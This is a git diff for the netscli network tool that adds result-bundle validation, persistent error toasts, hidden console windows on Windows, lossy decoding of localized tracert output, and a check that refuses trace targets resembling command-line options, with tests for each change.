+ * Run what the screen is about to run, so a bundle that would crash it is
+ * refused here with a message instead.
+ *
+ * `validateResultDataShape` only checks what its author thought of. A field the
+ * row builders read and a damaged or hand-edited bundle lacks (`addresses` on
+ * an mDNS service) threw inside a `useMemo` during render, past every catch,
+ * and ended up on the crash screen. The builders are pure, so running them
+ * finds every such field, including the ones nobody has added yet.
+ */
+function rejectUndrawableResult(kind: ToolKind, result: ToolResult) {
+  try {
+    buildRows(result);
+    resultSummary(result);
+  } catch {
+    throw new Error(`Result bundle data for ${kind} is missing fields NetsCLI needs to show it`);
+  }
+}
+
 function validateResultDataShape(kind: ToolKind, data: unknown) {
   if (
     kind === 'scan' ||
diff --git a/apps/netscli-gui/src/workspace/types.ts b/apps/netscli-gui/src/workspace/types.ts
index 5ef0b10d..6bf3b35f 100644
--- a/apps/netscli-gui/src/workspace/types.ts
+++ b/apps/netscli-gui/src/workspace/types.ts
@@ -22,7 +22,7 @@ export interface WorkspaceModel {
   setFilterText: (filterText: string) => void;
   setTrafficInterfaceName: (name: string) => void;
   dismissToast: () => void;
-  showUpdateToast: (version: string, url: string, opensUpdateDialog?: boolean) => void;
+  showUpdateToast: (version: string, url: string, opensUpdateDialog?: boolean, note?: string) => void;
   patchTab: (id: string, patch: Partial<WorkspaceTab>) => void;
   patchForm: (id: string, key: string, value: string) => void;
   selectRow: (index: number, mode?: RowSelectionMode) => void;
diff --git a/apps/netscli-gui/src/workspace/useWorkspace.ts b/apps/netscli-gui/src/workspace/useWorkspace.ts
index c2967779..3ec9352f 100644
--- a/apps/netscli-gui/src/workspace/useWorkspace.ts
+++ b/apps/netscli-gui/src/workspace/useWorkspace.ts
@@ -56,7 +56,10 @@ export function useWorkspace(options: WorkspaceOptions): WorkspaceModel {
   const selectedIndices = normalizeSelection(activeTab?.selectedIndices, activeTab?.selectedIndex, rows.length);
   const selectedRow = rows[selectedIndex];
   const selectedRows = selectedIndices.map((index) => rows[index]).filter(Boolean);
-  const columns = columnsFor(activeTab?.kind ?? 'scan', activeTab?.result ?? null, baseRows);
+  const columns = useMemo(
+    () => columnsFor(activeTab?.kind ?? 'scan', activeTab?.result ?? null, baseRows),
+    [activeTab?.kind, activeTab?.result, baseRows],
+  );
   const commandPreview = activeTab ? buildCommand(activeTab) : '';
 
   const {
diff --git a/apps/netscli-gui/src/workspace/useWorkspaceToast.test.tsx b/apps/netscli-gui/src/workspace/useWorkspaceToast.test.tsx
new file mode 100644
index 00000000..abbd16a6
--- /dev/null
+++ b/apps/netscli-gui/src/workspace/useWorkspaceToast.test.tsx
@@ -0,0 +1,54 @@
+// @vitest-environment jsdom
+
+import { act, renderHook } from '@testing-library/react';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+
+import { useWorkspaceToast } from './useWorkspaceToast';
+
+const options = {
+  interactionToasts: false,
+  maxConcurrentProbes: 64,
+  operationToasts: false,
+  persistentHistory: true,
+};
+const RELEASE = 'https://github.com/fstubner/netscli/releases/tag/v0.4.0';
+
+describe('update toast', () => {
+  it('names the version', () => {
+    const { result } = renderHook(() => useWorkspaceToast(options));
+    act(() => result.current.showUpdateToast('0.4.0', RELEASE));
+    expect(result.current.toast?.message).toBe('Update available: v0.4.0');
+  });
+
+  it('carries the reason an install cannot update itself, so the user sees it', () => {
+    const { result } = renderHook(() => useWorkspaceToast(options));
+    act(() =>
+      result.current.showUpdateToast('0.4.0', RELEASE, false, 'Installed with Scoop, so update it there'),
+    );
+    expect(result.current.toast?.message).toBe(
+      'Update available: v0.4.0. Installed with Scoop, so update it there',
+    );
+  });
+});
+
+// A confirmation can go after a moment. An error is the one message that says
+// something failed, and it used to leave after 1.8 seconds like the rest.
+describe('toast lifetime', () => {
+  afterEach(() => vi.useRealTimers());
+
+  it('keeps an error until it is dismissed and lets a confirmation go', () => {
+    vi.useFakeTimers();
+    const { result } = renderHook(() => useWorkspaceToast({ ...options, interactionToasts: true }));
+
+    act(() => result.current.showToast({ message: 'Exported', kind: 'interaction' }));
+    act(() => vi.advanceTimersByTime(5000));
+    expect(result.current.toast).toBeNull();
+
+    act(() => result.current.showToast({ message: 'Export failed', kind: 'error' }));
+    act(() => vi.advanceTimersByTime(60_000));
+    expect(result.current.toast?.message).toBe('Export failed');
+
+    act(() => result.current.dismissToast());
+    expect(result.current.toast).toBeNull();
+  });
+});
diff --git a/apps/netscli-gui/src/workspace/useWorkspaceToast.ts b/apps/netscli-gui/src/workspace/useWorkspaceToast.ts
index 21c8e8ee..30e10f39 100644
--- a/apps/netscli-gui/src/workspace/useWorkspaceToast.ts
+++ b/apps/netscli-gui/src/workspace/useWorkspaceToast.ts
@@ -22,19 +22,26 @@ export function useWorkspaceToast(options: WorkspaceOptions) {
     const settings = optionsRef.current;
     if (toast.kind === 'interaction' && !settings.interactionToasts) return;
     if (toast.kind === 'operation' && !settings.operationToasts) return;
-    setToast({ ...toast, id: generateId('toast') });
+    // An error is kept until it is dismissed. It used to leave after 1.8
+    // seconds like a confirmation, which is too short to read, let alone to
+    // act on, for the one kind of message that says something went wrong.
+    setToast({
+      ...toast,
+      id: generateId('toast'),
+      persistent: toast.persistent ?? toast.kind === 'error',
+    });
   }
 
   function dismissToast() {
     setToast(null);
   }
 
-  function showUpdateToast(version: string, url: string, opensUpdateDialog = false) {
+  function showUpdateToast(version: string, url: string, opensUpdateDialog = false, note?: string) {
     if (!isAllowedExternalUrl(url)) return;
 
     setToast({
       id: generateId('toast'),
-      message: `Update available: v${version}`,
+      message: note ? `Update available: v${version}. ${note}` : `Update available: v${version}`,
       kind: 'update',
       persistent: true,
       actionUrl: url,
diff --git a/crates/netscli-core/src/dns/reverse.rs b/crates/netscli-core/src/dns/reverse.rs
index 7b8d31b5..68bf18c3 100644
--- a/crates/netscli-core/src/dns/reverse.rs
+++ b/crates/netscli-core/src/dns/reverse.rs
@@ -92,6 +92,11 @@ async fn reverse_lookup_windows_ping(ip: IpAddr, timeout_ms: u64) -> Option<Stri
         return None;
     }
 
+    // Keeps `ping` from opening a console window. The desktop app has no
+    // console, so without this every lookup in a Discover or Sweep opens one
+    // for as long as `ping` runs. See `trace.rs`.
+    const CREATE_NO_WINDOW: u32 = 0x0800_0000;
+
     let ip_s = ip.to_string();
     let wait_ms = timeout_ms.saturating_add(250);
     // Absolute System32 path rather than a bare name -- see
@@ -100,7 +105,8 @@ async fn reverse_lookup_windows_ping(ip: IpAddr, timeout_ms: u64) -> Option<Stri
     cmd.args(["-a", "-n", "1", "-w", &timeout_ms.to_string(), &ip_s])
         .stdout(Stdio::piped())
         .stderr(Stdio::piped())
-        .kill_on_drop(true);
+        .kill_on_drop(true)
+        .creation_flags(CREATE_NO_WINDOW);
 
     let output = match timeout(Duration::from_millis(wait_ms), cmd.output()).await {
         Ok(Ok(out)) => out,
diff --git a/crates/netscli-core/src/trace.rs b/crates/netscli-core/src/trace.rs
index 5e13799e..f6bb2deb 100644
--- a/crates/netscli-core/src/trace.rs
+++ b/crates/netscli-core/src/trace.rs
@@ -6,6 +6,16 @@ use tokio::sync::watch;
 
 use crate::error::{Error, Result};
 
+/// Process creation flag that stops a console program opening a window.
+///
+/// The installed desktop app is a GUI-subsystem process with no console, so a
+/// console tool it starts gets a new one. With Windows Terminal as the default
+/// terminal that is a visible window titled with the tool's path, open for as
+/// long as the trace runs. The CLI and TUI start the tool from a console of
+/// their own. Same flag, and same reason, as `arp/platform/command.rs`.
+#[cfg(windows)]
+const CREATE_NO_WINDOW: u32 = 0x0800_0000;
+
 #[derive(Debug, Clone, Serialize)]
 #[cfg_attr(feature = "ts", derive(ts_rs::TS), ts(export))]
 pub struct TraceResult {
@@ -21,6 +31,7 @@ pub async fn trace_route(
     resolve: bool,
     progress: Option<watch::Sender<String>>,
 ) -> Result<TraceResult> {
+    ensure_not_an_option(host)?;
     let max_hops = max_hops.clamp(1, 255);
 
     #[cfg(windows)]
@@ -62,6 +73,31 @@ pub async fn trace_route(
     }
 }
 
+/// Refuse a target that the trace tool would read as one of its own options.
+///
+/// The target is handed to `tracert`, `traceroute` or `tracepath` as a plain
+/// argument, so `-d` or `--help` is a flag and not a host, and so is `/d` for
+/// Windows' `tracert`, which takes `/` options as well as `-` ones
+/// (`tracert /d /h 1 127.0.0.1` runs as `-d -h 1`). A host name or an address
+/// never starts with either character, so refusing is exact. It is also the
+/// only fix that works everywhere, because Windows' `tracert` has no `--` to
+/// end its options ("-- is not a valid command option").
+///
+/// The command line passes the target through as given, so
+/// `netscli trace -- -d` reached the tool as a flag.
+fn ensure_not_an_option(host: &str) -> Result<()> {
+    let target = host.trim_start();
+    if target.is_empty() {
+        return Err(Error::invalid_input("trace target is empty"));
+    }
+    if target.starts_with(['-', '/']) {
+        return Err(Error::invalid_input(format!(
+            "trace target {host:?} looks like a command-line option, not a host"
+        )));
+    }
+    Ok(())
+}
+
 #[cfg(windows)]
 fn build_tracert_args(host: &str, max_hops: u32, resolve: bool) -> Vec<String> {
     let mut args: Vec<String> = Vec::new();
@@ -110,6 +146,8 @@ async fn run_command_streaming(
         .stdout(Stdio::piped())
         .stderr(Stdio::piped())
         .kill_on_drop(true);
+    #[cfg(windows)]
+    cmd.creation_flags(CREATE_NO_WINDOW);
 
     let mut child = cmd
         .spawn()
@@ -124,18 +162,20 @@ async fn run_command_streaming(
         .ok_or_else(|| Error::Other("failed to capture stderr".to_string()))?;
 
     let mut out_lines: Vec<String> = Vec::new();
-    let mut stdout_lines = BufReader::new(stdout).lines();
-    let mut stderr_lines = BufReader::new(stderr).lines();
+    // `split` rather than `lines`: `lines` fails on the first byte that is not
+    // UTF-8, and that error ended the whole trace. See `decode_line`.
+    let mut stdout_lines = BufReader::new(stdout).split(b'\n');
+    let mut stderr_lines = BufReader::new(stderr).split(b'\n');
     let mut stdout_done = false;
     let mut stderr_done = false;
     let mut status: Option<std::process::ExitStatus> = None;
 
     while !(stdout_done && stderr_done && status.is_some()) {
         tokio::select! {
-            line = stdout_lines.next_line(), if !stdout_done => {
+            line = stdout_lines.next_segment(), if !stdout_done => {
                 match line.map_err(|e| Error::Other(format!("trace stdout read failed: {e}")))? {
                     Some(line) => {
-                        let trimmed = line.trim_end().to_string();
+                        let trimmed = decode_line(&line);
                         if let Some(tx) = progress.as_ref() {
                             if let Some(hop) = trimmed.split_whitespace().next().and_then(|t| t.parse::<u32>().ok()) {
                                 let _ = tx.send(format!(
@@ -149,10 +189,10 @@ async fn run_command_streaming(
                     None => stdout_done = true,
                 }
             }
-            line = stderr_lines.next_line(), if !stderr_done => {
+            line = stderr_lines.next_segment(), if !stderr_done => {
                 match line.map_err(|e| Error::Other(format!("trace stderr read failed: {e}")))? {
                     Some(line) => {
-                        let trimmed = line.trim_end().to_string();
+                        let trimmed = decode_line(&line);
                         if !trimmed.is_empty() {
                             out_lines.push(trimmed);
                         }
@@ -174,6 +214,21 @@ async fn run_command_streaming(
     })
 }
 
+/// One line of the tool's output, with anything that is not UTF-8 replaced.
+///
+/// `tracert` translates its messages and writes them in the console's OEM code
+/// page, so on a Windows set to a language with accented letters a timed-out
+/// hop can print bytes that are not valid UTF-8 ("Zeitüberschreitung" is
+/// `Zeit\x81berschreitung` in code page 850). Reading lines as strict UTF-8
+/// turned the first of those into "trace stdout read failed" and discarded the
+/// whole trace, including the hops already printed. The hop number and the
+/// timings are plain ASCII, so a replacement character in the free text after
+/// them costs nothing that matters. `ping -a` in `dns/reverse.rs` is decoded
+/// the same way.
+fn decode_line(bytes: &[u8]) -> String {
+    String::from_utf8_lossy(bytes).trim_end().to_string()
+}
+
 fn args_max_hops(args: &[String]) -> Option<u32> {
     for i in 0..args.len().saturating_sub(1) {
         if (args[i] == "-h" || args[i] == "-m") && args[i + 1].parse::<u32>().is_ok() {
@@ -190,3 +245,6 @@ fn is_not_found(err: &Error) -> bool {
         _ => false,
     }
 }
+
+#[cfg(test)]
+mod tests;
diff --git a/crates/netscli-core/src/trace/tests.rs b/crates/netscli-core/src/trace/tests.rs
new file mode 100644
index 00000000..d09b28c1
--- /dev/null
+++ b/crates/netscli-core/src/trace/tests.rs
@@ -0,0 +1,83 @@
+use super::*;
+
+/// The target is passed to the tool as an argument, so one that starts
+/// with a dash (or a slash, for Windows' `tracert`) is a flag to it. Without
+/// the check, `trace_route("-d")` came back `Ok`, carrying the tool's
+/// complaint that it had no target and its usage text.
+#[tokio::test]
+async fn a_target_that_looks_like_an_option_is_refused_before_the_tool_runs() {
+    for host in ["-d", "--help", "-S", "/d", "/?", "   -d", ""] {
+        let outcome = trace_route(host, 3, false, None).await;
+        assert!(
+            matches!(outcome, Err(Error::InvalidInput(_))),
+            "{host:?} should be refused, got {outcome:?}"
+        );
+    }
+}
+
+#[test]
+fn ordinary_targets_are_not_mistaken_for_options() {
+    for host in [
+        "example.com",
+        "192.168.1.1",
+        "::1",
+        "fe80::1%12",
+        "_dmarc.example.com",
+        "münchen.example",
+        "router-1.local.",
+    ] {
+        assert!(ensure_not_an_option(host).is_ok(), "{host:?}");
+    }
+}
+
+/// Output that is not UTF-8 must not end the trace.
+///
+/// This is the kind of line a `tracert` in another language can write for a
+/// timed-out hop, and it is the only way to reach the failure: the English
+/// output this code was written against is plain ASCII, so nothing else in
+/// the suite (or on an English CI runner) can fail here. A real child
+/// process is used rather than a byte slice because the strict read
+/// happened in the select loop, around the pipe.
+#[tokio::test]
+async fn output_that_is_not_utf8_does_not_abort_the_trace() {
+    let dir = tempfile::tempdir().expect("temp dir");
+    let file = dir.path().join("tracert.txt");
+    // 0x81 is "ü" in code page 850 and cannot appear in UTF-8 on its own.
+    std::fs::write(
+        &file,
+        b"  1    <1 ms    <1 ms    <1 ms  192.168.0.1\r\n  2     *        *        *     Zeit\x81berschreitung der Anforderung.\r\n\r\nTrace complete.\r\n",
+    )
+    .expect("write fixture");
+    let path = file.display().to_string();
+
+    // Both print the file's bytes unchanged.
+    #[cfg(windows)]
+    let (tool, args) = ("cmd", vec!["/c".to_string(), "type".to_string(), path]);
+    #[cfg(not(windows))]
+    let (tool, args) = ("cat", vec![path]);
+
+    let result = run_command_streaming(tool, &args, "192.168.0.1", None)
+        .await
+        .expect("a trace whose output is not UTF-8 still completes");
+
+    assert_eq!(result.exit_code, Some(0));
+    assert_eq!(
+        result.lines.first().map(String::as_str),
+        Some("  1    <1 ms    <1 ms    <1 ms  192.168.0.1"),
+        "the hops printed before the odd byte are kept"
+    );
+    let timed_out = result
+        .lines
+        .iter()
+        .find(|line| line.trim_start().starts_with("2 "))
+        .expect("the hop with the odd byte is kept too");
+    assert!(
+        timed_out.contains("Zeit\u{FFFD}berschreitung"),
+        "the odd byte becomes a replacement character: {timed_out:?}"
+    );
+    assert_eq!(
+        result.lines.last().map(String::as_str),
+        Some("Trace complete."),
+        "and so are the lines after it"
+    );
+}